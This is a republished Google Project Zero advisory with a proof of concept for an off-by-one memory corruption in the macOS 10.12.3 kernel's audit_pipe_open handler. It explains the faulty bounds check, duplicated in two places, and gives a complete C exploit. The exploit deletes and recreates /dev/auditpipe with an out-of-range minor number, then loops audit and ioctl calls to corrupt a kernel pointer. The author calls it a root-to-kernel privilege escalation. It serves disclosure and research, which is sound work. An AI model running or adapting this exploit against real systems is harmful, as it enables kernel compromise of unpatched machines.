macOS Kernel 10.12.3 (16D32) - 'audit_pipe_open' Off-by-One Memory Corruption
|
来源:Google Security Research 作者:Google 发布时间:2017-04-05
|
|
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1126 MacOS kernel memory corruption due to off-by-one in audit_pipe_open audit_pipe_open is the special file open handler for the auditpipe device (major number 10.) Here's the code: static int audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype, __unused proc_t p) { struct audit_pipe *ap; int u; u = minor(dev); if (u < 0 || u > MAX_AUDIT_PIPES) return (ENXIO); AUDIT_PIPE_LIST_WLOCK(); ap = audit_pipe_dtab[u]; if (ap == NULL) { ap = audit_pipe_alloc(); if (ap == NULL) { AUDIT_PIPE_LIST_WUNLOCK(); return (ENOMEM); } audit_pipe_dtab[u] = ap; We can control the minor number via mknod. Here's the definition of audit_pipe_dtab: static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES]; There's an off-by-one in the minor number bounds check (u < 0 || u > MAX_AUDIT_PIPES) should be (u < 0 || u >= MAX_AUDIT_PIPES) The other special file operation handlers assume that the minor number of an opened device is correct therefore it isn't validated for example in the ioctl handler: static int audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data, __unused int flag, __unused proc_t p) { ... ap = audit_pipe_dtab[minor(dev)]; KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL")); ... switch (cmd) { case FIONBIO: AUDIT_PIPE_LOCK(ap); if (*(int *)data) Directly after the audit_pipe_dtab array in the bss is this global variable: static u_int64_t audit_pipe_drops; audit_pipe_drops will be incremented each time an audit message enqueue fails: if (ap->ap_qlen >= ap->ap_qlimit) { ap->ap_drops++; audit_pipe_drops++; return; } So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the struct audit_pipe* which is read out-of-bounds. For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe* then the ioctl will try to use that pointer. This is a root to kernel privesc. tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 */ //ianbeer #if 0 MacOS kernel memory corruption due to off-by-one in audit_pipe_open audit_pipe_open is the special file open handler for the auditpipe device (major number 10.) Here's the code: static int audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype, __unused proc_t p) { struct audit_pipe *ap; int u; u = minor(dev); if (u < 0 || u > MAX_AUDIT_PIPES) return (ENXIO); AUDIT_PIPE_LIST_WLOCK(); ap = audit_pipe_dtab[u]; if (ap == NULL) { ap = audit_pipe_alloc(); if (ap == NULL) { AUDIT_PIPE_LIST_WUNLOCK(); return (ENOMEM); } audit_pipe_dtab[u] = ap; We can control the minor number via mknod. Here's the definition of audit_pipe_dtab: static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES]; There's an off-by-one in the minor number bounds check (u < 0 || u > MAX_AUDIT_PIPES) should be (u < 0 || u >= MAX_AUDIT_PIPES) The other special file operation handlers assume that the minor number of an opened device is correct therefore it isn't validated for example in the ioctl handler: static int audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data, __unused int flag, __unused proc_t p) { ... ap = audit_pipe_dtab[minor(dev)]; KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL")); ... switch (cmd) { case FIONBIO: AUDIT_PIPE_LOCK(ap); if (*(int *)data) Directly after the audit_pipe_dtab array in the bss is this global variable: static u_int64_t audit_pipe_drops; audit_pipe_drops will be incremented each time an audit message enqueue fails: if (ap->ap_qlen >= ap->ap_qlimit) { ap->ap_drops++; audit_pipe_drops++; return; } So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the struct audit_pipe* which is read out-of-bounds. For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe* then the ioctl will try to use that pointer. This is a root to kernel privesc. tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <net/bpf.h> #include <net/if.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <bsm/audit.h> #include <security/audit/audit_ioctl.h> int main(int argc, char** argv) { system("rm -rf /dev/auditpipe"); system("mknod /dev/auditpipe c 10 32"); int fd = open("/dev/auditpipe", O_RDWR); if (fd == -1) { perror("failed to open auditpipe device\n"); exit(EXIT_FAILURE); } printf("opened device\n"); system("touch a_log_file"); int auditerr = auditctl("a_log_file"); if (auditerr == -1) { perror("failed to set a new log file\n"); } uint32_t qlim = 1; int err = ioctl(fd, AUDITPIPE_SET_QLIMIT, &qlim); if (err == -1) { perror("AUDITPIPE_SET_QLIMIT"); exit(EXIT_FAILURE); } while(1) { char* audit_data = "\x74hello"; int audit_len = strlen(audit_data)+1; audit(audit_data, audit_len); uint32_t nread = 0; int err = ioctl(fd, FIONREAD, &qlim); if (err == -1) { perror("FIONREAD"); exit(EXIT_FAILURE); } } return 0; }
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|